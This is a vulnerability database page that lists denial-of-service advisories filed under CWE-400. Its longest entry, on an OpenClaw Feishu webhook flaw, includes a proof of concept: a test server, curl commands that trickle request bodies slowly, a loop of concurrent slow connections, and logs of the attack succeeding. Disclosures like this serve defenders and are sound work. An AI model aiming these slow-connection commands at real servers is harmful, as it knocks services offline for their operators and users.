Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5417 vulnerabilities reference this CWE, most recent first.

GHSA-W6M8-CQVJ-PG5V

Vulnerability from github – Published: 2026-03-30 18:32 – Updated: 2026-04-10 19:44
VLAI
Summary
OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)
Details

Fixed in OpenClaw 2026.3.24, the current shipping release.

Advisory Details

Title: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)

Description:

Summary

The patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the Feishu extension's webhook handler was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) before verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.

Details

In extensions/feishu/src/monitor.ts, the webhook HTTP handler uses installRequestBodyLimitGuard with permissive limits at lines 276-278:

const FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)
const FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)

// ... in monitorWebhook(), line 276-278:
const guard = installRequestBodyLimitGuard(req, res, {
  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB
  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s
  responseFormat: "text",
});

The body guard is installed at line 276 before the request reaches the Lark SDK's adaptDefault webhook handler (line 284), which performs signature verification. This means:

  1. Any unauthenticated HTTP POST is accepted
  2. The server waits up to 30 seconds for the body to arrive
  3. Each connection can buffer up to 1MB
  4. Authentication only happens after the body is fully read

The patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:

const PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB
const PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s

The Feishu extension was missed because it resides in extensions/feishu/ (a plugin workspace) rather than in the core src/ directory.

Attack chain:

[Attacker sends slow HTTP POST to /feishu/events]
  → Rate limit check: passes (under 120 req/min)
  → Content-Type check: application/json, passes
  → installRequestBodyLimitGuard(1MB, 30s): installed
  → Body trickles at 1 byte/sec for 30 seconds
  → × 50 concurrent connections = connection exhaustion
  → Legitimate Feishu webhook deliveries blocked

PoC

Prerequisites: Docker installed.

Step 1: Create a minimal test server reproducing the vulnerable body parsing:

cat > /tmp/feishu_webhook_server.js << 'EOF'
const http = require("http");
const VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)
const PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)

function bodyGuard(req, res, timeoutMs) {
  let done = false;
  const timer = setTimeout(() => {
    if (!done) { done = true; res.statusCode = 408; res.end("Request body timeout"); req.destroy(); }
  }, timeoutMs);
  req.on("end", () => { done = true; clearTimeout(timer); });
  req.on("close", () => { done = true; clearTimeout(timer); });
}

http.createServer((req, res) => {
  if (req.url === "/healthz") { res.end("OK"); return; }
  if (req.method !== "POST") { res.writeHead(405); res.end(); return; }
  const timeout = req.url === "/feishu/events" ? VULN_TIMEOUT : PATCH_TIMEOUT;
  console.log(`[${req.url}] +conn`);
  bodyGuard(req, res, timeout);
  res.on("finish", () => console.log(`[${req.url}] -conn`));
}).listen(3000, () => console.log("Listening on :3000"));
EOF
node /tmp/feishu_webhook_server.js &
sleep 1

Step 2: Verify the vulnerability — slow body holds connection for the full timeout:

# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
  curl -s -o /dev/null -w "status: %{http_code}\n" \
  -X POST http://localhost:3000/feishu/events \
  -H "Content-Type: application/json" \
  -H "Content-Length: 65536" \
  --data-binary @- --max-time 35

# Patched endpoint: connection terminated after ~5s
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
  curl -s -o /dev/null -w "status: %{http_code}\n" \
  -X POST http://localhost:3000/patched/events \
  -H "Content-Type: application/json" \
  -H "Content-Length: 65536" \
  --data-binary @- --max-time 35

Step 3: Batch exploit — 10 concurrent slow connections:

for i in $(seq 1 10); do
  (echo -n 'A'; sleep 15) | \
    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \
    -H "Content-Type: application/json" \
    -H "Content-Length: 65536" \
    --data-binary @- --max-time 35 &
done
wait

Log of Evidence

Exploit result (vulnerable /feishu/events):

=== Feishu Webhook Pre-Auth Slow-Body DoS ===
Target: localhost:3000/feishu/events
Concurrent connections: 10

  [conn-0] held open for 15.0s (15B sent) [SUCCESS]
  [conn-1] held open for 15.0s (15B sent) [SUCCESS]
  [conn-2] held open for 15.0s (15B sent) [SUCCESS]
  [conn-3] held open for 15.0s (15B sent) [SUCCESS]
  [conn-4] held open for 15.0s (15B sent) [SUCCESS]
  [conn-5] held open for 15.0s (15B sent) [SUCCESS]
  [conn-6] held open for 15.0s (15B sent) [SUCCESS]
  [conn-7] held open for 15.0s (15B sent) [SUCCESS]
  [conn-8] held open for 15.0s (15B sent) [SUCCESS]
  [conn-9] held open for 15.0s (15B sent) [SUCCESS]

=== Results ===
Connections held open (SUCCESS): 10/10
[SUCCESS] Pre-auth slow-body DoS confirmed!

Control result (patched /patched/events with 5s timeout):

=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===
Target: localhost:3000/patched/events

  [conn-0] RESET after 8.0s (8B)
  [conn-1] RESET after 8.0s (8B)
  ...
  [conn-9] RESET after 8.0s (8B)

Avg connection hold time: 8.0s (5s timeout + stagger delay)

Server-side Docker logs confirming the discrepancy:

[feishu-vulnerable] +conn (active: 1)
[feishu-vulnerable] +conn (active: 10)  ← No disconnections during 15s attack
[patched-control] +conn (active: 20)
[patched-control] -conn after 5.0s (active: 19)  ← ALL terminated at 5s
[patched-control] -conn after 5.0s (active: 10)

Impact

An unauthenticated attacker can cause a Denial of Service against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.

With ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can: - Exhaust the server's connection handling capacity for 30 seconds per wave - Block legitimate Feishu webhook deliveries (messages not reaching the bot) - Consume up to 50MB of memory (50 × 1MB buffer) per attack wave

The attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.

Affected products

  • Ecosystem: npm
  • Package name: openclaw
  • Affected versions: <= 2026.2.22
  • Patched versions: None

Severity

  • Severity: Medium
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Weaknesses

  • CWE: CWE-400: Uncontrolled Resource Consumption

Occurrences

Permalink Description
https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27 Permissive body limit constants: FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024 (1MB) and FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000 (30s) — should be 64KB/5s to match the CVE-2026-32011 patch.
https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280 installRequestBodyLimitGuard call in monitorWebhook() using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284).
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T18:32:03Z",
    "nvd_published_at": "2026-04-10T17:17:08Z",
    "severity": "MODERATE"
  },
  "details": "\u003e Fixed in OpenClaw 2026.3.24, the current shipping release.\n\n# Advisory Details\n\n**Title**: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)\n\n**Description**:\n\n### Summary\n\nThe patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the **Feishu extension\u0027s webhook handler** was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) **before** verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.\n\n### Details\n\nIn `extensions/feishu/src/monitor.ts`, the webhook HTTP handler uses `installRequestBodyLimitGuard` with permissive limits at lines 276-278:\n\n```typescript\nconst FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)\nconst FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)\n\n// ... in monitorWebhook(), line 276-278:\nconst guard = installRequestBodyLimitGuard(req, res, {\n  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB\n  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s\n  responseFormat: \"text\",\n});\n```\n\nThe body guard is installed at line 276 **before** the request reaches the Lark SDK\u0027s `adaptDefault` webhook handler (line 284), which performs signature verification. This means:\n\n1. Any unauthenticated HTTP POST is accepted\n2. The server waits up to 30 seconds for the body to arrive\n3. Each connection can buffer up to 1MB\n4. Authentication only happens after the body is fully read\n\nThe patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:\n```typescript\nconst PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB\nconst PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s\n```\n\nThe Feishu extension was missed because it resides in `extensions/feishu/` (a plugin workspace) rather than in the core `src/` directory.\n\n**Attack chain:**\n```\n[Attacker sends slow HTTP POST to /feishu/events]\n  \u2192 Rate limit check: passes (under 120 req/min)\n  \u2192 Content-Type check: application/json, passes\n  \u2192 installRequestBodyLimitGuard(1MB, 30s): installed\n  \u2192 Body trickles at 1 byte/sec for 30 seconds\n  \u2192 \u00d7 50 concurrent connections = connection exhaustion\n  \u2192 Legitimate Feishu webhook deliveries blocked\n```\n\n### PoC\n\n**Prerequisites:** Docker installed.\n\n**Step 1:** Create a minimal test server reproducing the vulnerable body parsing:\n\n```bash\ncat \u003e /tmp/feishu_webhook_server.js \u003c\u003c \u0027EOF\u0027\nconst http = require(\"http\");\nconst VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)\nconst PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)\n\nfunction bodyGuard(req, res, timeoutMs) {\n  let done = false;\n  const timer = setTimeout(() =\u003e {\n    if (!done) { done = true; res.statusCode = 408; res.end(\"Request body timeout\"); req.destroy(); }\n  }, timeoutMs);\n  req.on(\"end\", () =\u003e { done = true; clearTimeout(timer); });\n  req.on(\"close\", () =\u003e { done = true; clearTimeout(timer); });\n}\n\nhttp.createServer((req, res) =\u003e {\n  if (req.url === \"/healthz\") { res.end(\"OK\"); return; }\n  if (req.method !== \"POST\") { res.writeHead(405); res.end(); return; }\n  const timeout = req.url === \"/feishu/events\" ? VULN_TIMEOUT : PATCH_TIMEOUT;\n  console.log(`[${req.url}] +conn`);\n  bodyGuard(req, res, timeout);\n  res.on(\"finish\", () =\u003e console.log(`[${req.url}] -conn`));\n}).listen(3000, () =\u003e console.log(\"Listening on :3000\"));\nEOF\nnode /tmp/feishu_webhook_server.js \u0026\nsleep 1\n```\n\n**Step 2:** Verify the vulnerability \u2014 slow body holds connection for the full timeout:\n\n```bash\n# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/feishu/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n\n# Patched endpoint: connection terminated after ~5s\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/patched/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n```\n\n**Step 3:** Batch exploit \u2014 10 concurrent slow connections:\n\n```bash\nfor i in $(seq 1 10); do\n  (echo -n \u0027A\u0027; sleep 15) | \\\n    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \\\n    -H \"Content-Type: application/json\" \\\n    -H \"Content-Length: 65536\" \\\n    --data-binary @- --max-time 35 \u0026\ndone\nwait\n```\n\n### Log of Evidence\n\n**Exploit result (vulnerable /feishu/events):**\n```\n=== Feishu Webhook Pre-Auth Slow-Body DoS ===\nTarget: localhost:3000/feishu/events\nConcurrent connections: 10\n\n  [conn-0] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-1] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-2] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-3] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-4] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-5] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-6] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-7] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-8] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-9] held open for 15.0s (15B sent) [SUCCESS]\n\n=== Results ===\nConnections held open (SUCCESS): 10/10\n[SUCCESS] Pre-auth slow-body DoS confirmed!\n```\n\n**Control result (patched /patched/events with 5s timeout):**\n```\n=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===\nTarget: localhost:3000/patched/events\n\n  [conn-0] RESET after 8.0s (8B)\n  [conn-1] RESET after 8.0s (8B)\n  ...\n  [conn-9] RESET after 8.0s (8B)\n\nAvg connection hold time: 8.0s (5s timeout + stagger delay)\n```\n\n**Server-side Docker logs confirming the discrepancy:**\n```\n[feishu-vulnerable] +conn (active: 1)\n[feishu-vulnerable] +conn (active: 10)  \u2190 No disconnections during 15s attack\n[patched-control] +conn (active: 20)\n[patched-control] -conn after 5.0s (active: 19)  \u2190 ALL terminated at 5s\n[patched-control] -conn after 5.0s (active: 10)\n```\n\n### Impact\n\nAn unauthenticated attacker can cause a **Denial of Service** against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.\n\nWith ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:\n- Exhaust the server\u0027s connection handling capacity for 30 seconds per wave\n- Block legitimate Feishu webhook deliveries (messages not reaching the bot)\n- Consume up to 50MB of memory (50 \u00d7 1MB buffer) per attack wave\n\nThe attack is trivial \u2014 it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.\n\n### Affected products\n- **Ecosystem**: npm\n- **Package name**: openclaw\n- **Affected versions**: \u003c= 2026.2.22\n- **Patched versions**: None\n\n### Severity\n- **Severity**: Medium\n- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n### Weaknesses\n- **CWE**: CWE-400: Uncontrolled Resource Consumption\n\n### Occurrences\n\n| Permalink | Description |\n| :--- | :--- |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27) | Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) \u2014 should be 64KB/5s to match the CVE-2026-32011 patch. |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280) | `installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants \u2014 this guard runs before authentication (the Lark SDK handler at line 284). |",
  "id": "GHSA-w6m8-cqvj-pg5v",
  "modified": "2026-04-10T19:44:53Z",
  "published": "2026-03-30T18:32:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-x4vp-4235-65hg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35665"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-feishu-webhook-pre-auth-body-parsing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)"
}

GHSA-W6Q4-QG4H-298G

Vulnerability from github – Published: 2022-05-17 01:03 – Updated: 2026-05-29 21:31
VLAI
Details

The default configuration of OpenSSH through 6.1 enforces a fixed time limit between establishing a TCP connection and completing a login, which makes it easier for remote attackers to cause a denial of service (connection-slot exhaustion) by periodically making many new TCP connections.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2010-5107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-03-07T20:55:00Z",
    "severity": "MODERATE"
  },
  "details": "The default configuration of OpenSSH through 6.1 enforces a fixed time limit between establishing a TCP connection and completing a login, which makes it easier for remote attackers to cause a denial of service (connection-slot exhaustion) by periodically making many new TCP connections.",
  "id": "GHSA-w6q4-qg4h-298g",
  "modified": "2026-05-29T21:31:10Z",
  "published": "2022-05-17T01:03:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-5107"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=908707"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A19515"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A19595"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=144050155601375\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1591.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/servconf.c?r1=1.234#rev1.234"
    },
    {
      "type": "WEB",
      "url": "http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/sshd_config.5?r1=1.156#rev1.156"
    },
    {
      "type": "WEB",
      "url": "http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/sshd_config?r1=1.89#rev1.89"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2013/02/07/3"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/58162"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W6QF-42M7-VH68

Vulnerability from github – Published: 2024-02-20 00:30 – Updated: 2025-04-28 15:32
VLAI
Summary
Undertow Uncontrolled Resource Consumption Vulnerability
Details

A vulnerability was found in Undertow. This vulnerability impacts a server that supports the wildfly-http-client protocol. Whenever a malicious user opens and closes a connection with the HTTP port of the server and then closes the connection immediately, the server will end with both memory and open file limits exhausted at some point, depending on the amount of memory available.

At HTTP upgrade to remoting, the WriteTimeoutStreamSinkConduit leaks connections if RemotingConnection is closed by Remoting ServerConnectionOpenListener. Because the remoting connection originates in Undertow as part of the HTTP upgrade, there is an external layer to the remoting connection. This connection is unaware of the outermost layer when closing the connection during the connection opening procedure. Hence, the Undertow WriteTimeoutStreamSinkConduit is not notified of the closed connection in this scenario. Because WriteTimeoutStreamSinkConduit creates a timeout task, the whole dependency tree leaks via that task, which is added to XNIO WorkerThread. So, the workerThread points to the Undertow conduit, which contains the connections and causes the leak.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0.Final"
            },
            {
              "fixed": "2.3.12.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.31.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-16T21:22:33Z",
    "nvd_published_at": "2024-02-19T22:15:48Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was found in Undertow. This vulnerability impacts a server that supports the wildfly-http-client protocol. Whenever a malicious user opens and closes a connection with the HTTP port of the server and then closes the connection immediately, the server will end with both memory and open file limits exhausted at some point, depending on the amount of memory available. \n\nAt HTTP upgrade to remoting, the WriteTimeoutStreamSinkConduit leaks connections if RemotingConnection is closed by Remoting ServerConnectionOpenListener. Because the remoting connection originates in Undertow as part of the HTTP upgrade, there is an external layer to the remoting connection. This connection is unaware of the outermost layer when closing the connection during the connection opening procedure. Hence, the Undertow WriteTimeoutStreamSinkConduit is not notified of the closed connection in this scenario. Because WriteTimeoutStreamSinkConduit creates a timeout task, the whole dependency tree leaks via that task, which is added to XNIO WorkerThread. So, the workerThread points to the Undertow conduit, which contains the connections and causes the leak.",
  "id": "GHSA-w6qf-42m7-vh68",
  "modified": "2025-04-28T15:32:19Z",
  "published": "2024-02-20T00:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1635"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/7d388c5aae9b82afb63f24e3b6a2044838dfb4de"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/3cdb104e225f34547ce9fd6eb8799eb68e040f19"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240322-0007"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/undertow-io/undertow"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2264928"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-1635"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:4226"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4884"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3354"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1866"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1864"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1862"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1861"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1860"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1677"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1676"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1675"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1674"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Undertow Uncontrolled Resource Consumption Vulnerability"
}

GHSA-W6V5-Q8C8-52XX

Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2025-01-14 21:31
VLAI
Details

Some HTTP/2 implementations are vulnerable to unconstrained interal data buffering, potentially leading to a denial of service. The attacker opens the HTTP/2 window so the peer can send without constraint; however, they leave the TCP window closed so the peer cannot actually write (many of) the bytes on the wire. The attacker then sends a stream of requests for a large response object. Depending on how the servers queue the responses, this can consume excess memory, CPU, or both.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-9517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-13T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Some HTTP/2 implementations are vulnerable to unconstrained interal data buffering, potentially leading to a denial of service. The attacker opens the HTTP/2 window so the peer can send without constraint; however, they leave the TCP window closed so the peer cannot actually write (many of) the bytes on the wire. The attacker then sends a stream of requests for a large response object. Depending on how the servers queue the responses, this can consume excess memory, CPU, or both.",
  "id": "GHSA-w6v5-q8c8-52xx",
  "modified": "2025-01-14T21:31:41Z",
  "published": "2022-05-24T16:53:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9517"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BP556LEG3WENHZI5TAQ6ZEBFTJB4E2IS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4ZQGHE3WTYLYAYJEIDJVF2FIGQTAYPMC"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XHTKU7YQ5EEP2XNSAV4M4VJ7QCBOJMOD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CMNFX5MNYRWWIMO4BTKYQCGUDMHO3AXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BP556LEG3WENHZI5TAQ6ZEBFTJB4E2IS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4ZQGHE3WTYLYAYJEIDJVF2FIGQTAYPMC"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re3d27b6250aa8548b8845d314bb8a350b3df326cacbbfdfe4d455234@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re3d27b6250aa8548b8845d314bb8a350b3df326cacbbfdfe4d455234%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd2fb621142e7fa187cfe12d7137bf66e7234abcbbcd800074c84a538@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd2fb621142e7fa187cfe12d7137bf66e7234abcbbcd800074c84a538%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
